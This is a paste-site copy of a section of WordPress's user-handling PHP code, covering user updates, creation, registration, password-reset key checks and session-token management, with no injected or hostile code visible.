  1864. update_user_meta( $user_id, $key, $value );
  1865. }
  1866.  
  1867. foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
  1868. if ( isset( $userdata[ $key ] ) ) {
  1869. update_user_meta( $user_id, $key, $userdata[ $key ] );
  1870. }
  1871. }
  1872.  
  1873. if ( isset( $userdata['role'] ) ) {
  1874. $user->set_role( $userdata['role'] );
  1875. } elseif ( ! $update ) {
  1876. $user->set_role(get_option('default_role'));
  1877. }
  1878. wp_cache_delete( $user_id, 'users' );
  1879. wp_cache_delete( $user_login, 'userlogins' );
  1880.  
  1881. if ( $update ) {
  1882. /**
  1883. * Fires immediately after an existing user is updated.
  1884. *
  1885. * @since 2.0.0
  1886. *
  1887. * @param int $user_id User ID.
  1888. * @param object $old_user_data Object containing user's data prior to update.
  1889. */
  1890. do_action( 'profile_update', $user_id, $old_user_data );
  1891. } else {
  1892. /**
  1893. * Fires immediately after a new user is registered.
  1894. *
  1895. * @since 1.5.0
  1896. *
  1897. * @param int $user_id User ID.
  1898. */
  1899. do_action( 'user_register', $user_id );
  1900. }
  1901.  
  1902. return $user_id;
  1903. }
  1904.  
  1905. /**
  1906. * Update an user in the database.
  1907. *
  1908. * It is possible to update a user's password by specifying the 'user_pass'
  1909. * value in the $userdata parameter array.
  1910. *
  1911. * If current user's password is being updated, then the cookies will be
  1912. * cleared.
  1913. *
  1914. * @since 2.0.0
  1915. *
  1916. * @see wp_insert_user() For what fields can be set in $userdata.
  1917. *
  1918. * @param mixed $userdata An array of user data or a user object of type stdClass or WP_User.
  1919. * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
  1920. */
  1921. function wp_update_user($userdata) {
  1922. if ( is_a( $userdata, 'stdClass' ) )
  1923. $userdata = get_object_vars( $userdata );
  1924. elseif ( is_a( $userdata, 'WP_User' ) )
  1925. $userdata = $userdata->to_array();
  1926.  
  1927. $ID = (int) $userdata['ID'];
  1928.  
  1929. // First, get all of the original fields
  1930. $user_obj = get_userdata( $ID );
  1931. if ( ! $user_obj )
  1932. return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
  1933.  
  1934. $user = $user_obj->to_array();
  1935.  
  1936. // Add additional custom fields
  1937. foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
  1938. $user[ $key ] = get_user_meta( $ID, $key, true );
  1939. }
  1940.  
  1941. // Escape data pulled from DB.
  1942. $user = add_magic_quotes( $user );
  1943.  
  1944. // If password is changing, hash it now.
  1945. if ( ! empty($userdata['user_pass']) ) {
  1946. $plaintext_pass = $userdata['user_pass'];
  1947. $userdata['user_pass'] = wp_hash_password($userdata['user_pass']);
  1948. }
  1949.  
  1950. wp_cache_delete($user[ 'user_email' ], 'useremail');
  1951.  
  1952. // Merge old and new fields with new fields overwriting old ones.
  1953. $userdata = array_merge($user, $userdata);
  1954. $user_id = wp_insert_user($userdata);
  1955.  
  1956. // Update the cookies if the password changed.
  1957. $current_user = wp_get_current_user();
  1958. if ( $current_user->ID == $ID ) {
  1959. if ( isset($plaintext_pass) ) {
  1960. wp_clear_auth_cookie();
  1961.  
  1962. // Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
  1963. // If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
  1964. $logged_in_cookie = wp_parse_auth_cookie( '', 'logged_in' );
  1965. /** This filter is documented in wp-includes/pluggable.php */
  1966. $default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $ID, false );
  1967. $remember = ( ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life );
  1968.  
  1969. wp_set_auth_cookie( $ID, $remember );
  1970. }
  1971. }
  1972.  
  1973. return $user_id;
  1974. }
  1975.  
  1976. /**
  1977. * A simpler way of inserting an user into the database.
  1978. *
  1979. * Creates a new user with just the username, password, and email. For more
  1980. * complex user creation use wp_insert_user() to specify more information.
  1981. *
  1982. * @since 2.0.0
  1983. * @see wp_insert_user() More complete way to create a new user
  1984. *
  1985. * @param string $username The user's username.
  1986. * @param string $password The user's password.
  1987. * @param string $email The user's email (optional).
  1988. * @return int The new user's ID.
  1989. */
  1990. function wp_create_user($username, $password, $email = '') {
  1991. $user_login = wp_slash( $username );
  1992. $user_email = wp_slash( $email );
  1993. $user_pass = $password;
  1994.  
  1995. $userdata = compact('user_login', 'user_email', 'user_pass');
  1996. return wp_insert_user($userdata);
  1997. }
  1998.  
  1999. /**
  2000. * Return a list of meta keys that wp_insert_user() is supposed to set.
  2001. *
  2002. * @since 3.3.0
  2003. * @access private
  2004. *
  2005. * @param object $user WP_User instance.
  2006. * @return array
  2007. */
  2008. function _get_additional_user_keys( $user ) {
  2009. $keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front' );
  2010. return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
  2011. }
  2012.  
  2013. /**
  2014. * Set up the user contact methods.
  2015. *
  2016. * Default contact methods were removed in 3.6. A filter dictates contact methods.
  2017. *
  2018. * @since 3.7.0
  2019. *
  2020. * @param WP_User $user Optional. WP_User object.
  2021. * @return array Array of contact methods and their labels.
  2022. */
  2023. function wp_get_user_contact_methods( $user = null ) {
  2024. $methods = array();
  2025. if ( get_site_option( 'initial_db_version' ) < 23588 ) {
  2026. $methods = array(
  2027. 'aim' => __( 'AIM' ),
  2028. 'yim' => __( 'Yahoo IM' ),
  2029. 'jabber' => __( 'Jabber / Google Talk' )
  2030. );
  2031. }
  2032.  
  2033. /**
  2034. * Filter the user contact methods.
  2035. *
  2036. * @since 2.9.0
  2037. *
  2038. * @param array $methods Array of contact methods and their labels.
  2039. * @param WP_User $user WP_User object.
  2040. */
  2041. return apply_filters( 'user_contactmethods', $methods, $user );
  2042. }
  2043.  
  2044. /**
  2045. * The old private function for setting up user contact methods.
  2046. *
  2047. * @since 2.9.0
  2048. * @access private
  2049. */
  2050. function _wp_get_user_contactmethods( $user = null ) {
  2051. return wp_get_user_contact_methods( $user );
  2052. }
  2053.  
  2054. /**
  2055. * Retrieves a user row based on password reset key and login
  2056. *
  2057. * A key is considered 'expired' if it exactly matches the value of the
  2058. * user_activation_key field, rather than being matched after going through the
  2059. * hashing process. This field is now hashed; old values are no longer accepted
  2060. * but have a different WP_Error code so good user feedback can be provided.
  2061. *
  2062. * @global wpdb $wpdb WordPress database object for queries.
  2063. *
  2064. * @param string $key Hash to validate sending user's password.
  2065. * @param string $login The user login.
  2066. * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
  2067. */
  2068. function check_password_reset_key($key, $login) {
  2069. global $wpdb, $wp_hasher;
  2070.  
  2071. $key = preg_replace('/[^a-z0-9]/i', '', $key);
  2072.  
  2073. if ( empty( $key ) || !is_string( $key ) )
  2074. return new WP_Error('invalid_key', __('Invalid key'));
  2075.  
  2076. if ( empty($login) || !is_string($login) )
  2077. return new WP_Error('invalid_key', __('Invalid key'));
  2078.  
  2079. $row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, user_activation_key FROM $wpdb->users WHERE user_login = %s", $login ) );
  2080. if ( ! $row )
  2081. return new WP_Error('invalid_key', __('Invalid key'));
  2082.  
  2083. if ( empty( $wp_hasher ) ) {
  2084. require_once ABSPATH . WPINC . '/class-phpass.php';
  2085. $wp_hasher = new PasswordHash( 8, true );
  2086. }
  2087.  
  2088. if ( $wp_hasher->CheckPassword( $key, $row->user_activation_key ) )
  2089. return get_userdata( $row->ID );
  2090.  
  2091. if ( $key === $row->user_activation_key ) {
  2092. $return = new WP_Error( 'expired_key', __( 'Invalid key' ) );
  2093. $user_id = $row->ID;
  2094.  
  2095. /**
  2096. * Filter the return value of check_password_reset_key() when an
  2097. * old-style key is used (plain-text key was stored in the database).
  2098. *
  2099. * @since 3.7.0
  2100. *
  2101. * @param WP_Error $return A WP_Error object denoting an expired key.
  2102. * Return a WP_User object to validate the key.
  2103. * @param int $user_id The matched user ID.
  2104. */
  2105. return apply_filters( 'password_reset_key_expired', $return, $user_id );
  2106. }
  2107.  
  2108. return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
  2109. }
  2110.  
  2111. /**
  2112. * Handles resetting the user's password.
  2113. *
  2114. * @param object $user The user
  2115. * @param string $new_pass New password for the user in plaintext
  2116. */
  2117. function reset_password( $user, $new_pass ) {
  2118. /**
  2119. * Fires before the user's password is reset.
  2120. *
  2121. * @since 1.5.0
  2122. *
  2123. * @param object $user The user.
  2124. * @param string $new_pass New user password.
  2125. */
  2126. do_action( 'password_reset', $user, $new_pass );
  2127.  
  2128. wp_set_password( $new_pass, $user->ID );
  2129. update_user_option( $user->ID, 'default_password_nag', false, true );
  2130.  
  2131. wp_password_change_notification( $user );
  2132. }
  2133.  
  2134. /**
  2135. * Handles registering a new user.
  2136. *
  2137. * @param string $user_login User's username for logging in
  2138. * @param string $user_email User's email address to send password and add
  2139. * @return int|WP_Error Either user's ID or error on failure.
  2140. */
  2141. function register_new_user( $user_login, $user_email ) {
  2142. $errors = new WP_Error();
  2143.  
  2144. $sanitized_user_login = sanitize_user( $user_login );
  2145. /**
  2146. * Filter the email address of a user being registered.
  2147. *
  2148. * @since 2.1.0
  2149. *
  2150. * @param string $user_email The email address of the new user.
  2151. */
  2152. $user_email = apply_filters( 'user_registration_email', $user_email );
  2153.  
  2154. // Check the username
  2155. if ( $sanitized_user_login == '' ) {
  2156. $errors->add( 'empty_username', __( '<strong>ERROR</strong>: Please enter a username.' ) );
  2157. } elseif ( ! validate_username( $user_login ) ) {
  2158. $errors->add( 'invalid_username', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
  2159. $sanitized_user_login = '';
  2160. } elseif ( username_exists( $sanitized_user_login ) ) {
  2161. $errors->add( 'username_exists', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ) );
  2162. }
  2163.  
  2164. // Check the e-mail address
  2165. if ( $user_email == '' ) {
  2166. $errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please type your e-mail address.' ) );
  2167. } elseif ( ! is_email( $user_email ) ) {
  2168. $errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn&#8217;t correct.' ) );
  2169. $user_email = '';
  2170. } elseif ( email_exists( $user_email ) ) {
  2171. $errors->add( 'email_exists', __( '<strong>ERROR</strong>: This email is already registered, please choose another one.' ) );
  2172. }
  2173.  
  2174. /**
  2175. * Fires when submitting registration form data, before the user is created.
  2176. *
  2177. * @since 2.1.0
  2178. *
  2179. * @param string $sanitized_user_login The submitted username after being sanitized.
  2180. * @param string $user_email The submitted email.
  2181. * @param WP_Error $errors Contains any errors with submitted username and email,
  2182. * e.g., an empty field, an invalid username or email,
  2183. * or an existing username or email.
  2184. */
  2185. do_action( 'register_post', $sanitized_user_login, $user_email, $errors );
  2186.  
  2187. /**
  2188. * Filter the errors encountered when a new user is being registered.
  2189. *
  2190. * The filtered WP_Error object may, for example, contain errors for an invalid
  2191. * or existing username or email address. A WP_Error object should always returned,
  2192. * but may or may not contain errors.
  2193. *
  2194. * If any errors are present in $errors, this will abort the user's registration.
  2195. *
  2196. * @since 2.1.0
  2197. *
  2198. * @param WP_Error $errors A WP_Error object containing any errors encountered
  2199. * during registration.
  2200. * @param string $sanitized_user_login User's username after it has been sanitized.
  2201. * @param string $user_email User's email.
  2202. */
  2203. $errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );
  2204.  
  2205. if ( $errors->get_error_code() )
  2206. return $errors;
  2207.  
  2208. $user_pass = wp_generate_password( 12, false );
  2209. $user_id = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
  2210. if ( ! $user_id || is_wp_error( $user_id ) ) {
  2211. $errors->add( 'registerfail', sprintf( __( '<strong>ERROR</strong>: Couldn&#8217;t register you&hellip; please contact the <a href="mailto:%s">webmaster</a> !' ), get_option( 'admin_email' ) ) );
  2212. return $errors;
  2213. }
  2214.  
  2215. update_user_option( $user_id, 'default_password_nag', true, true ); //Set up the Password change nag.
  2216.  
  2217. wp_new_user_notification( $user_id, $user_pass );
  2218.  
  2219. return $user_id;
  2220. }
  2221.  
  2222. /**
  2223. * Retrieve the current session token from the logged_in cookie.
  2224. *
  2225. * @since 4.0.0
  2226. *
  2227. * @return string Token.
  2228. */
  2229. function wp_get_session_token() {
  2230. $cookie = wp_parse_auth_cookie( '', 'logged_in' );
  2231. return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
  2232. }
  2233.  
  2234. /**
  2235. * Retrieve a list of sessions for the current user.
  2236. *
  2237. * @since 4.0.0
  2238. * @return array Array of sessions.
  2239. */
  2240. function wp_get_all_sessions() {
  2241. $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
  2242. return $manager->get_all();
  2243. }
  2244.  
  2245. /**
  2246. * Remove the current session token from the database.
  2247. *
  2248. * @since 4.0.0
  2249. */
  2250. function wp_destroy_current_session() {
  2251. $token = wp_get_session_token();
  2252. if ( $token ) {
  2253. $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
  2254. $manager->destroy( $token );
  2255. }
  2256. }
  2257.  
  2258. /**
  2259. * Remove all but the current session token for the current user for the database.
  2260. *
  2261. * @since 4.0.0
  2262. */
  2263. function wp_destroy_other_sessions() {
  2264. $token = wp_get_session_token();
  2265. if ( $token ) {
  2266. $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
  2267. $manager->destroy_others( $token );
  2268. }
  2269. }
  2270.  
  2271. /**
  2272. * Remove all session tokens for the current user from the database.
  2273. *
  2274. * @since 4.0.0
  2275. */
  2276. function wp_destroy_all_sessions() {
  2277. $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
  2278. $manager->destroy_all();
  2279. }
Add Comment
Please, Sign In to add comment